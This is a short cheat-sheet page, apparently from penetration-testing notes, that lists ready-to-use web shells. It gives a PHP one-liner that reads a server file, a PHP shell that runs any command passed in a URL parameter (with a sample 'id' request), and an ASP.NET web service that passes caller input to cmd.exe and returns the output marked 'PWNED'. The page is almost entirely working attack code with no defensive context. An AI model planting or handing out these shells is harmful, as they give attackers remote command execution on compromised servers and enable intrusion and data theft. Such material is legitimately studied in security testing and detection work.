WebShell
PHP
File read
<?php echo file_get_contents('/path/to/target/file'); ?>Command execution
<?php echo system($_GET['command']); ?>
// GET /example/exploit.php?command=id HTTP/1.1ASP.NET
<%@ WebService Language="C#" Class="MyClass" %>
using System.Web.Services;
using System;
using System.Diagnostics;
using System.IO;
[WebService(Namespace="")]
public class MyClass : WebService
{
[WebMethod]
public string Pwn_Function(string x)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c \""+x+"\"";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
return "PWNED" + s;
}
}Last updated